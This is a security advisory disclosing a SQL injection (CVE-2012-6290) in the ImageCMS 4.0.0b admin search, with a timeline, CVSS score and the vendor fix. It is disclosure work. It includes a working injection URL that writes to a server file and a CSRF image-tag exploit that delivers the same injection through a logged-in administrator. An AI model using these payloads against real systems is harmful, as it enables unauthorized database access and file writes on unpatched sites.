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SQL Injection Vulnerability in ImageCMS

Advisory ID:HTB23132
Product:ImageCMS
Vendor: ImageCMS
Vulnerable Versions:4.0.0b and probably prior
Tested Version:4.0.0b
Advisory Publication:December 5, 2012 [without technical details]
Vendor Notification:December 5, 2012
Vendor Fix:January 16, 2013
Public Disclosure:January 23, 2013
Latest Update:January 16, 2013
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2012-6290
Risk Level:Medium
CVSSv2 Base Score:6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in ImageCMS, which can be exploited to perform SQL injection attacks.


1) SQL injection vulnerability in ImageCMS: CVE-2012-6290

The vulnerability exists due to insufficient filtration of the "q" HTTP GET parameter passed to "/admin/admin_search/". A remote authenticated administrator can execute arbitrary SQL commands in the application's database.

Depending on the database and system configuration PoC (Proof-of-Concept) code below will create "/tmp/file.txt" file with MySQL server version inside:

http://[host]/admin/admin_search?q=123%27%20UNION%20SELECT%201,2,version%28%29,4,5,6,7,8,9,10,11,1 2,13,14,15%20INTO%20OUTFILE%27/tmp/file.txt%27%20--%202

This vulnerability can also be exploited by remote non-authenticated attacker via CSRF vector because the application is prone to Cross-Site Request Forgery attack. In order to do so attacker should trick a logged-in administrator to visit a web page with CSRF exploit.

Basic CSRF exploit example:

<img src="http://[host]/admin/admin_search?q=123%27%20UNION%20SELECT%201,2,version%28%29,4,5,6,7,8,9,10,1 1,1 2,13,14,15%20INTO%20OUTFILE%27/tmp/file.txt%27%20--%202">


Solution:
Upgrade to ImageCMS 4.2

More Information:
http://forum.imagecms.net/viewtopic.php?id=1436
http://www.imagecms.net/blog/news/reliz-imagecms-42-razgranichenie-prav-dostupa-i-drugie-novinki


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References:
[1] High-Tech Bridge Advisory HTB23132 - https://www.htbridge.com/advisory/HTB23132 - SQL Injection Vulnerability in ImageCMS.
[2] ImageCMS - http://www.imagecms.net - A free modern Web 3.0 content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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